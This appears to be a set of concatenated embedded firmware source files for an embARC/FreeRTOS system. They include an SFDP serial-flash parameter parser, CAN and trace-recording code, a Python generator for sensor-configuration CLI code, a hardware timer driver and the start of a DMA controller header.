static int32_t sfdp_read_parameter(dw_ssi_t *dw_ssi, \
sfdp_param_header_t *param_header, uint8_t *params);
static int32_t sfdp_read_sector_map_param_header(dw_ssi_t *dw_ssi, \
sfdp_header_t *header, sfdp_param_header_t **param_header);
static int32_t sfdp_flash_region_parse(dw_ssi_t *dw_ssi, \
flash_device_t *device, uint8_t *param, uint32_t len);
/* description: detect whether the external device obeys the SFDP standard.
* @dw_qspi, the HW port driver.
* @return,
* < 0, indicate that there exist an issue.
* = 0, indicate that the external device doesn't obey SFDP standard.
* > 0, indicate that the external device obey the SFDP standard.
* */
int32_t flash_sfdp_detect(dw_ssi_t *dw_ssi)
{
int result = E_OK;
uint8_t read_buffer[8];
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops)) {
result = E_PAR;
} else {
xfer.ins = CMD_READ_JEDEC;
xfer.addr = 0;
xfer.buf = (void *)read_buffer;
xfer.len = 4;
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = CMD_RD_JEDEC_WC;
xfer.addr_valid = 1;
result = ssi_ops->read(dw_ssi, &xfer, 0);
if (E_OK == result) {
if ((read_buffer[0] == 'S') && \
(read_buffer[1] == 'F') && \
(read_buffer[2] == 'D') && \
(read_buffer[3] == 'P')) {
result = 1;
}
}
}
return result;
}
static inline void sfdp_erase_min_sector_size(flash_erase_type_t *erase_type, \
uint32_t erase_type_mask, uint32_t *sec_ins, uint32_t *sec_size)
{
uint32_t j, ins = 0;
uint32_t size = 0;
for (j = 0; j < 4; j++) {
if (erase_type_mask & (1 << j)) {
if (0 == size) {
size = erase_type[j].sector_size;
ins = erase_type[j].ins;
} else {
if (erase_type[j].sector_size < size) {
size = erase_type[j].sector_size;
ins = erase_type[j].ins;
}
}
}
}
*sec_ins = ins;
*sec_size = size;
}
/* description: gain the basic information of external device.
* @dw_qspi, the hardware port driver.
* @device, the external flash device descriptor.
* @result,
* < 0, an issue happened.
* >= 0, success.
* */
int32_t flash_sfdp_param_read(dw_ssi_t *dw_ssi, flash_device_t *device)
{
int32_t result = E_OK;
sfdp_header_t sfdp_header;
sfdp_header_t *sfdp_header_ptr = &sfdp_header;
sfdp_param_header_t param_header;
sfdp_param_header_t *param_header_ptr = ¶m_header;
uint8_t read_buffer[256];
uint8_t erase_type_mask = 0;
flash_erase_type_t erase_type[4];
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || (NULL == device)) {
result = E_PAR;
} else {
/* read sfdp header. */
result = sfdp_read_sfdp_header(dw_ssi, &sfdp_header_ptr);
}
/* read basic parameter. */
if (E_OK == result) {
// sfdp_param_header_t *param_header_ptr = ¶m_header;
result = sfdp_read_basic_parameter_header(dw_ssi, \
sfdp_header_ptr, ¶m_header_ptr);
if (E_OK == result) {
result = sfdp_read_parameter(dw_ssi, \
¶m_header, read_buffer);
}
}
/* get device total size and page size. */
if (E_OK == result) {
if (param_header_ptr->param_length >= 2) {
device->total_size = flash_total_size(read_buffer);
} else {
device->total_size = 0;
result = E_SYS;
}
if (param_header_ptr->param_length >= 11) {
device->page_size = flash_page_size(read_buffer);
} else {
device->page_size = 0x100;
}
if (param_header_ptr->param_length >= 9) {
if (sfdp_flash_erase_type1_size(read_buffer)) {
erase_type[0].ins = sfdp_flash_erase_type1_instruct(read_buffer);
erase_type[0].sector_size = 1 << sfdp_flash_erase_type1_size(read_buffer);
erase_type_mask |= (1 << 0);
}
if (sfdp_flash_erase_type2_size(read_buffer)) {
erase_type[1].ins = sfdp_flash_erase_type2_instruct(read_buffer);
erase_type[1].sector_size = 1 << sfdp_flash_erase_type2_size(read_buffer);
erase_type_mask |= (1 << 1);
}
if (sfdp_flash_erase_type3_size(read_buffer)) {
erase_type[2].ins = sfdp_flash_erase_type3_instruct(read_buffer);
erase_type[2].sector_size = 1 << sfdp_flash_erase_type3_size(read_buffer);
erase_type_mask |= (1 << 2);
}
if (sfdp_flash_erase_type4_size(read_buffer)) {
erase_type[3].ins = sfdp_flash_erase_type4_instruct(read_buffer);
erase_type[3].sector_size = 1 << sfdp_flash_erase_type4_size(read_buffer);
erase_type_mask |= (1 << 3);
}
} else {
result = E_SYS;
EMBARC_PRINTF("no erase type\r\n");
}
}
/* read sector map parameter. */
if (E_OK == result) {
result = sfdp_read_sector_map_param_header(dw_ssi, \
sfdp_header_ptr, ¶m_header_ptr);
if (E_OK == result) {
result = sfdp_read_parameter(dw_ssi, \
¶m_header, read_buffer);
if (E_OK == result) {
result = sfdp_flash_region_parse(dw_ssi, device, \
read_buffer, param_header.param_length);
}
} else if (E_SFDP_NOPAR == result) {
/* no parameter! only one region! */
device->m_region[0].size = device->total_size;
device->m_region[0].base = 0x0;
device->m_region[0].erase_type_mask = erase_type_mask;
result = E_OK;
} else {
/* TODO: sector map header read failed! */
result = E_SYS;
}
}
if (E_OK == result) {
uint32_t i, sec_ins, sec_size = 0;
for (i = 0; i < EXT_FLASH_REGION_CNT_MAX; i++) {
if (device->m_region[i].erase_type_mask) {
sfdp_erase_min_sector_size(erase_type, \
device->m_region[i].erase_type_mask,
&sec_ins, &sec_size);
device->m_region[i].sector_size = sec_size;
device->m_region[i].sec_erase_ins = sec_ins;
}
}
}
return result;
}
static int32_t sfdp_read_sfdp_header(dw_ssi_t *dw_ssi, sfdp_header_t **header)
{
int result = E_OK;
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == header) || (NULL == *header)) {
result = E_PAR;
} else {
xfer.ins = CMD_READ_JEDEC;
xfer.addr = 0;
xfer.buf = (void *)(*header);
xfer.len = sizeof(sfdp_header_t);
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = CMD_RD_JEDEC_WC;
xfer.addr_valid = 1;
result = ssi_ops->read(dw_ssi, &xfer, 0);
}
return result;
}
static int32_t sfdp_read_basic_parameter_header(dw_ssi_t *dw_ssi, \
sfdp_header_t *header, sfdp_param_header_t **param_header)
{
int result = E_OK;
/* the first 8 bytes is sfdp header. */
uint32_t cur_address = 8;
uint32_t cur_reversion, reversion = 0;
uint32_t param_id = 0;
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
sfdp_param_header_t tmp_param;
sfdp_param_header_t *param_header_ptr = *param_header;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == header) || (NULL == param_header) || (NULL == *param_header)) {
result = E_PAR;
} else {
uint8_t param_header_cnt = header->param_header_number + 1;
xfer.ins = CMD_READ_JEDEC;
//xfer.d_buf = (void *)(*param_header);
xfer.buf = (void *)(&tmp_param);
xfer.len = sizeof(sfdp_param_header_t);
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = CMD_RD_JEDEC_WC;
xfer.addr_valid = 1;
/* in some device there may be over one basic paramter header.
* so the while loop uses to look up the lastest version. */
while (param_header_cnt--) {
xfer.addr = cur_address;
result = ssi_ops->read(dw_ssi, &xfer, 0);
if (E_OK == result) {
param_id = tmp_param.id_lsb;
param_id |= (tmp_param.id_msb << 8);
cur_reversion = tmp_param.minor_reversion;
cur_reversion |= (tmp_param.major_reversion << 8);
if (SFDP_PTID_BASIC_SPI_PROTOCOL == param_id) {
memcpy(param_header_ptr, (void *)&tmp_param, xfer.len);
if (cur_reversion > reversion) {
reversion = cur_reversion;
}
} else {
break;
}
cur_address += 8;
} else {
break;
}
}
}
return result;
}
static int32_t sfdp_read_parameter(dw_ssi_t *dw_ssi, \
sfdp_param_header_t *param_header, uint8_t *params)
{
int32_t result = E_OK;
//uint32_t param_pointer, param_length;
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == param_header) || (NULL == params)) {
result = E_PAR;
} else {
xfer.addr = param_header->param_table_pointer[0] | \
(param_header->param_table_pointer[1] << 8) | \
(param_header->param_table_pointer[2] << 16);
xfer.len = param_header->param_length << 2;
xfer.ins = CMD_READ_JEDEC;
xfer.buf = (void *)params;
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = CMD_RD_JEDEC_WC;
xfer.addr_valid = 1;
result = ssi_ops->read(dw_ssi, &xfer, 0);
}
return result;
}
static int32_t sfdp_read_sector_map_param_header(dw_ssi_t *dw_ssi, \
sfdp_header_t *header, sfdp_param_header_t **param_header)
{
int result = E_OK;
/* the first 8 bytes is sfdp header. */
uint32_t cur_address = 8;
uint16_t param_id = 0;
uint32_t sec_map_flag = 0;
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
sfdp_param_header_t *param_header_ptr = *param_header;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == header) || (NULL == param_header) || (NULL == *param_header)) {
result = E_PAR;
} else {
uint8_t param_header_cnt = header->param_header_number + 1;
xfer.ins = CMD_READ_JEDEC;
xfer.buf = (void *)(*param_header);
xfer.len = sizeof(sfdp_param_header_t);
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = CMD_RD_JEDEC_WC;
xfer.addr_valid = 1;
while (param_header_cnt--) {
xfer.addr = cur_address;
result = ssi_ops->read(dw_ssi, &xfer, 0);
if (E_OK == result) {
param_id = param_header_ptr->id_lsb;
param_id |= (param_header_ptr->id_msb << 8);
if (SFDP_PTID_SECTOR_MAP == param_id) {
sec_map_flag = 1;
break;
}
cur_address += 8;
} else {
break;
}
}
if (0 == sec_map_flag) {
result = E_SFDP_NOPAR;
}
}
return result;
}
static int32_t sfdp_command_descriptor_id(dw_ssi_t *dw_ssi, \
uint32_t *cfg_id, uint8_t *param, uint32_t len)
{
int32_t result = E_OK;
uint8_t data, dword1;
uint32_t flag = 0;
uint32_t index = 0;
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == cfg_id) || (NULL == param) || (0 == len)) {
result = E_PAR;
} else {
*cfg_id = 0;
xfer.buf = (void *)(&data);
xfer.len = 1;
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = 0;
xfer.addr_valid = 1;
/* read flash configuration indicated by command descriptor. */
while (len) {
dword1 = SFDP_PARAMETER_DWORD(param, index);
xfer.addr = SFDP_PARAMETER_DWORD(param, index + 1);
xfer.ins = (dword1 >> SFDP_CDCD_INSTRUCTION_SHIFT) & \
SFDP_CDCD_INSTRUCTION_MASK;
result = ssi_ops->read(dw_ssi, &xfer, 0);
if (E_OK == result) {
if (data & ((dword1 >> SFDP_CDCD_READ_DATA_MASK_SHIFT) & \
SFDP_CDCD_READ_DATA_MASK_MASK)) {
flag = (flag << 1) | 1;
} else {
flag = flag << 1;
}
} else {
break;
}
if (dword1 & SFDP_CDCD_END_INDICATOR) {
/* for next step... */
index += 2;
break;
} else {
index += 2;
len -= 8;
}
}
if (result >= 0) {
result = index << 2;
*cfg_id = flag;
}
}
return result;
}
static int32_t sfdp_cmd_descriptor_param_header(uint32_t *region_cnt, uint32_t id, \
uint8_t *param, uint32_t len)
{
int32_t result = E_OK;
uint32_t count = 0;
uint32_t index = 0;
uint32_t region_header = 0;
if ((NULL == region_cnt) || (NULL == param) || (0 == len)) {
result = E_PAR;
} else {
while (len) {
region_header = SFDP_PARAMETER_DWORD(param, index);
count = (region_header >> SFDP_CMDH_REGION_COUNT_SHIFT) & \
SFDP_CMDH_REGION_COUNT_MASK;
if (id != ((region_header >> SFDP_CMDH_REGION_ID_SHIFT) & \
SFDP_CMDH_REGION_ID_MASK)) {
if (region_header & SFDP_CMDH_END_INDICATOR) {
result = E_SYS;
break;
} else {
index += 1 + count;
len -= (count + 1) << 2;
}
} else {
index += 1;
len -= 4;
break;
}
}
if (result >= 0) {
result = index << 2;
*region_cnt = count;
}
}
return result;
}
static int32_t sfdp_cmd_descriptor_region(flash_device_t *device, \
uint8_t *param, uint32_t len, uint32_t region_count)
{
int32_t result = E_OK;
uint8_t dword1;
uint32_t i = 0;
uint32_t index = 0;
uint32_t erase_type_mask, base = 0;
if ((len < (region_count << 2)) || \
(region_count > EXT_FLASH_REGION_CNT_MAX)) {
result = E_SYS;
} else {
for (; i < region_count; i++) {
dword1 = SFDP_PARAMETER_DWORD(param, index);
device->m_region[i].size = dword1 >> SFDP_REGION_SIZE_SHIFT;
device->m_region[i].base = base;
base += device->m_region[i].size;
erase_type_mask = dword1 & SFDP_REGION_ERASE_TYPE_MASK;
device->m_region[i].erase_type_mask = erase_type_mask;
index += 1;
}
}
return result;
}
static int sfdp_map_descriptor_parse(flash_device_t *device, uint8_t *param, uint32_t len)
{
int32_t result = E_OK;
uint32_t dword1;
uint32_t index, region_cnt = 0;
uint32_t erase_type_mask, base = 0;
if ((NULL == device) || (NULL == param) || (len < 4)) {
result = -1;
} else {
region_cnt = param[2] + 1;
param += 4;
for (index = 0; index < region_cnt; index++) {
dword1 = SFDP_PARAMETER_DWORD(param, index);
device->m_region[index].size = dword1 >> SFDP_REGION_SIZE_SHIFT;
device->m_region[index].base = base;
base += device->m_region[index].size;
erase_type_mask = dword1 & SFDP_REGION_ERASE_TYPE_MASK;
device->m_region[index].erase_type_mask = erase_type_mask;
index += 1;
}
result = region_cnt;
}
return result;
}
static int32_t sfdp_flash_region_parse(dw_ssi_t *dw_ssi, \
flash_device_t *device, uint8_t *param, uint32_t len)
{
int32_t result = E_OK;
uint32_t cfg_id = 0;
uint32_t region_cnt = 0;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == device) || (NULL == param)) {
result = E_PAR;
} else {
if (SFDP_MAP_DESCRIPTOR == sfdp_sector_descriptor_type(param)) {
/* parse sector map directly. */
result = sfdp_map_descriptor_parse(device, param, len);
if (result > 0) {
result = E_OK;
}
} else {
/* read ID through command... */
result = sfdp_command_descriptor_id(dw_ssi, \
&cfg_id, param, len);
if (result > 0) {
len -= result;
param += result;
result = sfdp_cmd_descriptor_param_header(®ion_cnt, \
cfg_id, param, len);
}
if (result > 0) {
len -= result;
param += result;
result = sfdp_cmd_descriptor_region(device, \
param, len, region_cnt);
if (result >= 0) {
result = region_cnt;
}
}
}
}
return result;
}
<file_sep>#ifndef __COMMAND_H__
#define __COMMAND_H__
#include "FreeRTOS.h"
void command_interpreter_task(void *parameters);
void freertos_cli_init();
#endif
<file_sep>#ifndef _CAN_BUF_CONFIG_H_
#define _CAN_BUF_CONFIG_H_
#define CAN_BUS_DEV_ID (0)
#define CAN_BUS_FD (0)
#define CAN_BUS_FD_BRS (0)
/* 500 Kbps. */
#define CAN_BUS_BUAD_RATE (500)
/* xxx bytes. */
#define CAN_BUS_FRAME_SIZE (8)
#define CAN_BUS_FRAME_BUF_CNT_MAX (64)
/* 0->CBFF, 1->CEFF, 2->FBFF, 3->FEFF. */
#define CAN_BUS_FRAME_FORMAT (0)
#endif
<file_sep>#include <string.h>
#include "embARC.h"
#define TRACE_INFO_SIZE (4096)
typedef struct {
uint8_t mod_id;
uint8_t func_id;
uint8_t pos;
uint8_t error;
uint32_t timestamp;
} trace_info_t;
static uint32_t trace_info_index = 0;
__attribute__ ((section (".trace_record"))) trace_info_t trace_ram[TRACE_INFO_SIZE];
void trace_record_error(uint8_t mod, uint8_t func, uint8_t pos, uint8_t error)
{
uint32_t cpu_sts = arc_lock_save();
if (trace_info_index < TRACE_INFO_SIZE) {
trace_ram[trace_info_index].mod_id = mod;
trace_ram[trace_info_index].func_id = func;
trace_ram[trace_info_index].pos = pos;
trace_ram[trace_info_index].error = error;
trace_ram[trace_info_index].timestamp = _arc_aux_read(AUX_RTC_LOW);
trace_info_index += 1;
}
if (trace_info_index >= TRACE_INFO_SIZE) {
trace_info_index = 0;
}
arc_unlock_restore(cpu_sts);
}
void trace_init(void)
{
memset(trace_ram, 0, TRACE_INFO_SIZE * sizeof(trace_info_t));
}
<file_sep>#!/usr/bin/env python
import argparse, csv, configparser
header ="""
/*
This file is automatically generated by sesnor_code_gen.py. Please do not check in any manual changes!
*/\n"""
def genDefs(reader, filename):
declares = list()
comments = list()
lines = list()
for r in reader:
if r['Size'].strip() == '1' :
declares.append("%s %s;" % (r['Type'], r['Name']))
else :
declares.append("%s %s[%s];" % (r['Type'], r['Name'], r['Size']))
if (r['Comment']) :
cmt = "/* %s */" % r['Comment']
else :
cmt = ""
comments.append(cmt)
max_num_char = max([len(e) for e in declares])
for dec, cmt in zip(declares, comments) :
l = ' ' * 8 + dec + ' ' * (max_num_char - len(dec) + 1) + cmt
lines.append(l)
with open(filename, 'wt') as ofile :
ofile.write(header)
ofile.write('\n'.join(lines))
def genInit(reader, filename) :
lines = list()
variables = list()
values = list()
for r in reader:
variables.append('.%s' % r['Name']);
if r['Size'] != '1':
tmp = r['Value'].replace('(', '{')
tmp = tmp.replace(')', '}')
if r['Type'] == 'char' :
val = '"%s"' % tmp
else :
val = '{%s}' % tmp
else :
if r['Type'] == 'char' :
val = "'%s'" % r['Value']
else :
val = r['Value'].lower()
values.append(val)
max_num_char = max([len(e) for e in variables])
for var, val in zip(variables, values) :
l = ' ' * 8 + var + ' ' * (max_num_char - len(var) + 1) + "= %s," % val
lines.append(l)
with open(filename, 'wt') as ofile :
ofile.write(header)
ofile.write('\n'.join(lines))
def getParamInfo(r) :
code = 'strtol(param2, NULL, 0)'
formater = '%d'
if 'fft_scalar' in r['Name'] or \
'scramble_init_state' in r['Name'] or \
'scramble_tap' in r['Name'] or \
'hopping_init_state' in r['Name'] or \
'hopping_tap' in r['Name'] or \
'mask' in r['Name'] or \
'addr' in r['Name'] :
formater = '0x%X'
elif 'startfreq' in r['Name'] :
code = 'strtod(param2, NULL)'
formater = '%.4f'
elif r['Type'] == 'double' :
code = 'strtod(param2, NULL)'
formater = '%.4f'
elif r['Type'] == 'float' :
code = 'strtof(param2, NULL)'
formater = '%.4f'
elif 'uint' in r['Type'] :
formater = '%u'
elif r['Type'] == 'char' :
if r['Size'] == '1' :
code = "param2[0]"
formater = '%c'
else :
code = ""
formater = '%s'
elif r['Type'] == 'bool' :
formater = '%d'
elif r['Type'] == 'antenna_pos_t' :
code = 'strtof(param2, NULL)'
formater = '%.2f'
return code, formater
command_template = r'''
const char *param1, *param2;
BaseType_t len1, len2;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
sensor_config_t *cfg;
if (param1 != NULL) {
cfg = sensor_config_get_cur_cfg();
%s
} else {
static int cc = 0;
cfg = sensor_config_get_config(cc);
%s
}
return pdFALSE;
'''
write_command_template = r'''if (strncmp(param1, "{0}", len1) == 0) {{
{1}
return pdFALSE;
}}'''
write_command_size1_template = r'''if (param2 != NULL)
cfg->{0} = ({1}) {2};
snprintf(pcWriteBuffer, xWriteBufferLen, "{0} = {3}\n\r", cfg->{0});'''
write_command_string_template = r'''if (param2 != NULL)
snprintf(cfg->{0}, MIN(len2, {1}-1)+1, "%s", param2);
snprintf(pcWriteBuffer, xWriteBufferLen, "{0} = {2}\n\r", cfg->{0});'''
write_command_sizeN_template = r'''uint32_t cnt = 0;
while(param2 != NULL && cnt < {0}) {{
cfg->{1}[cnt++] = ({2}) {3};
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "{1} = [");
for(cnt = 0; cnt < {0}; cnt++) {{
if (cnt != {0} - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "{4}, ", cfg->{1}[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "{4}]\n\r", cfg->{1}[cnt]);
}}
'''
write_command_AntennaPos_template = r'''uint32_t cnt = 0;
while(param2 != NULL && cnt < {0}) {{
if (cnt % 2 == 0)
cfg->{1}[cnt/2].x = ({2}) {3};
else
cfg->{1}[cnt/2].y = ({2}) {3};
cnt++;
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "{1} = [");
for(cnt = 0; cnt < {0} && offset < cmdMAX_OUTPUT_SIZE; cnt++) {{
if (cnt != {0} - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "({4}, {4}), ", cfg->{1}[cnt].x, cfg->{1}[cnt].y);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "({4}, {4})]\n\r", cfg->{1}[cnt].x, cfg->{1}[cnt].y);
}}
'''
readall_command_template = r'''static uint32_t count = 0;
uint32_t cnt = 0;
int32_t offset = 0;
switch(count) {
%s
}'''
readall_case_template = r'''case {0} :
snprintf(pcWriteBuffer, xWriteBufferLen, "{1} = {2}\r\n", cfg->{1});
count++;
return pdTRUE;'''
readall_case_sizeN_template = r'''case {0} :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "{1} = [");
for(cnt = 0; cnt < {2} && offset < cmdMAX_OUTPUT_SIZE; cnt++) {{
if (cnt != {2} - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "{3}, ", cfg->{1}[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "{3}]\n\r", cfg->{1}[cnt]);
}}
count++;
return pdTRUE;'''
readall_case_AntennaPos_template = r'''case {0} :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "{1} = [");
for(cnt = 0; cnt < {2} && offset < cmdMAX_OUTPUT_SIZE; cnt++) {{
if (cnt != {2} - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "({3}, {3}), ", cfg->{1}[cnt].x, cfg->{1}[cnt].y);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "({3}, {3})]\n\r", cfg->{1}[cnt].x, cfg->{1}[cnt].y);
}}
count++;
return pdTRUE;'''
readall_case_default = \
r'''count = 0;
snprintf(pcWriteBuffer, xWriteBufferLen, "-----------CFG-EOF %d----------\r\n", cc);
if (cc == NUM_FRAME_TYPE-1) {
cc = 0;
return pdFALSE;
} else {
cc++;
return pdTRUE;
}'''
def genCmd(reader, filename) :
readall = list()
write = list()
for i, r in enumerate(reader) :
code, formater = getParamInfo(r)
if r['Size'] == '1' :
sub_write = write_command_size1_template.format(r['Name'], r['Type'], code, formater).split('\n')
sub_readall = readall_case_template.format(i, r['Name'], formater)
elif r['Type'] == 'char' :
sub_write = write_command_string_template.format(r['Name'], r['Size'], formater).split('\n')
sub_readall = readall_case_template.format(i, r['Name'], formater)
elif r['Type'] == 'antenna_pos_t' :
sub_write = write_command_AntennaPos_template.format(r['Size'], r['Name'], 'float', code, formater).split('\n')
sub_readall = readall_case_AntennaPos_template.format(i, r['Name'], r['Size'], formater)
else :
sub_write = write_command_sizeN_template.format(r['Size'], r['Name'], r['Type'], code, formater).split('\n')
sub_readall = readall_case_sizeN_template.format(i, r['Name'], r['Size'], formater)
sub_write = [' ' * 8 + s for s in sub_write]
sub_write = write_command_template.format(r['Name'], '\n'.join(sub_write)).split('\n')
sub_write = [' ' * 8 + s for s in sub_write]
write.append('\n'.join(sub_write))
readall.append(sub_readall)
readall = '\n'.join(readall).split('\n')
readall.append("default :")
readall = readall + [' ' * 8 + e for e in readall_case_default.split('\n')]
readall = (readall_command_template % '\n'.join(readall)).split('\n')
readall = [' ' * 8 + s for s in readall]
command_code = command_template % ('\n'.join(write), '\n'.join(readall))
command_code = '\n'.join([' ' * 8 + l for l in command_code.split('\n')])
with open(filename, 'wt') as ofile :
ofile.write(command_code)
def combineConfig(file_list) :
config = dict()
for f in file_list :
parser = configparser.ConfigParser()
parser.optionxform = str
parser.read(f)
for s in parser.sections() :
for k in parser[s].keys() :
config[k] = parser[s][k].strip()
return config
def genFinalConfig(csv_final, csv_base, file_list) :
with open(csv_base, 'rt') as fin :
csv_input = csv.DictReader(fin)
with open(csv_final, 'wt') as fout :
csv_output = csv.DictWriter(fout, fieldnames = csv_input.fieldnames)
csv_output.writeheader()
config = combineConfig(file_list)
for r in csv_input :
if r['Name'] in config.keys() :
r['Value'] = config[r['Name']]
csv_output.writerow(r)
if __name__ == '__main__' :
parser = argparse.ArgumentParser(description='Script to generate sensor_config related codes')
parser.add_argument('infile', metavar='infile', type=str, help='input config file in csv format')
parser.add_argument('--final-cfg', metavar='final_csv', default='final.csv', type=str, help='final combined config')
parser.add_argument('-o', '--output', type=str, help='output file name')
parser.add_argument('-t', '--type', default='init', type=str, help='output type. init: initialization code; def: sensor_config defs')
parser.add_argument('--feature-list', default=None, help='feature list to overwrite setting in infile. These files are in ini format')
args = parser.parse_args()
if args.feature_list :
feature_list = [f + '.fea' for f in args.feature_list.split(',')]
else :
feature_list = []
genFinalConfig(args.final_cfg, args.infile, feature_list)
with open(args.final_cfg) as csvfile:
reader = csv.DictReader(csvfile)
if args.type == 'def' :
genDefs(reader, args.output)
elif args.type == 'init' :
genInit(reader, args.output)
elif args.type == 'cmd' :
genCmd(reader, args.output)
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_timer.h"
//#include "timer_hal.h"
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#endif
typedef void (*timer_callback)(void *);
static dw_timer_t *dw_timer = NULL;
static timer_callback expire_callback[CHIP_TIMER_NO];
static void dw_timer_isr(void *param);
int32_t dw_timer_init(void)
{
int32_t result = E_OK;
int idx = 0;
uint32_t nof_int = 0;
do {
dw_timer = (dw_timer_t *)timer_get_dev();
if (NULL == dw_timer) {
result = E_NOEXS;
break;
}
/* interrupt install. */
for (; idx < CHIP_TIMER_NO; idx++) {
nof_int = dw_timer->int_no[idx];
result = int_handler_install(nof_int, dw_timer_isr);
if (E_OK != result) {
break;
}
}
if (E_OK == result) {
timer_enable(1);
}
} while (0);
return result;
}
int32_t dw_timer_start(uint32_t id, uint32_t expire, void (*func)(void *param))
{
int32_t result = E_OK;
dw_timer_ops_t *timer_ops = (dw_timer_ops_t *)dw_timer->ops;
if ((NULL == dw_timer) || (NULL == dw_timer->ops) || \
(id >= dw_timer->timer_cnt) || (0 == expire) || (NULL == func)) {
result = E_PAR;
} else {
uint32_t cpu_sts = arc_lock_save();
do {
if (expire) {
/* user define mode. */
result = timer_ops->mode(dw_timer, id, USER_DEFINED_MODE);
if (E_OK != result) {
break;
}
result = timer_ops->load_count_update(dw_timer, id, expire);
if (E_OK != result) {
break;
}
}
if (func) {
/* timer handler. */
expire_callback[id] = func;
result = timer_ops->int_mask(dw_timer, id, 0);
if (E_OK != result) {
break;
}
result = int_enable(dw_timer->int_no[id]);
if (E_OK != result) {
break;
}
dmu_irq_enable(dw_timer->int_no[id], 1);
result = timer_ops->enable(dw_timer, id, 1);
if (E_OK != result) {
break;
}
}
} while (0);
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t dw_timer_stop(uint32_t id)
{
int32_t result = E_OK;
dw_timer_ops_t *timer_ops = (dw_timer_ops_t *)dw_timer->ops;
if ((NULL == dw_timer) || (NULL == dw_timer->ops) || \
(id >= dw_timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t cpu_sts = arc_lock_save();
result = timer_ops->enable(dw_timer, id, 0);
if (E_OK == result) {
expire_callback[id] = NULL;
dmu_irq_enable(dw_timer->int_no[id], 0);
result = int_disable(dw_timer->int_no[id]);
}
arc_unlock_restore(cpu_sts);
}
return result;
}
static int32_t dw_timer_current(uint32_t id, uint32_t *current)
{
int32_t result = E_OK;
dw_timer_ops_t *timer_ops = (dw_timer_ops_t *)dw_timer->ops;
if ((NULL == dw_timer) || (NULL == dw_timer->ops) || \
(id >= dw_timer->timer_cnt)) {
result = E_PAR;
} else {
result = timer_ops->current_count(dw_timer, id, current);
}
return result;
}
static void dw_timer_isr(void *param)
{
int32_t result = E_OK;
uint32_t timer_id = 0;
dw_timer_ops_t *timer_ops = (dw_timer_ops_t *)dw_timer->ops;
if ((NULL == dw_timer) || (NULL == timer_ops)) {
result = E_SYS;
} else {
result = timer_ops->mod_int_status(dw_timer);
}
if (result > 0) {
for (timer_id = 0; timer_id < dw_timer->timer_cnt; timer_id++) {
result = timer_ops->int_status(dw_timer, timer_id);
if (result > 0) {
if (expire_callback[timer_id]) {
expire_callback[timer_id]((void *)dw_timer);
}
result = timer_ops->int_clear(dw_timer, timer_id);
if (E_OK != result) {
break;
}
}
}
}
if (E_OK == result) {
/* TODO: System Crash! record! */
;
}
}
<file_sep>#ifndef _DW_DMAC_H_
#define _DW_DMAC_H_
#include "dw_dmac_reg.h"
typedef enum {
INT_TFR = 0,
INT_BLOCK,
INT_SRC_TRAN,
INT_DST_TRAN,
INT_ERR,
INT_TYPE_INVALID
} dw_dmac_inttype_t;
/*
* @block_ts, block transfer size.it indicates the total
* number of single transactions to perform for every block
* transfer.
* @llp_src_en, linklist mode enable for source.
* @llp_dst_en, linklist mode enable for destination.
* @tt_fc, transfer type and flow control.
* @dst_scatter_en, destination scatter enable.
* @src_gather_en, source gather enable.
* @src_msize, source burst transaction length. Number of data
* items, to be read from the source every time a burst transferred
* request is made from either the corresponding hardware or
* software handshaking interface.
* @dst_msize, destination burst transaction length.
* @sinc, source address increment.
* @dinc, destination address increment.
* */
typedef struct dw_dmac_channel_control {
//uint8_t done;
uint32_t block_ts;
uint32_t llp_src_en;
uint32_t llp_dst_en;
uint32_t tt_fc;
uint32_t dst_scatter_en;
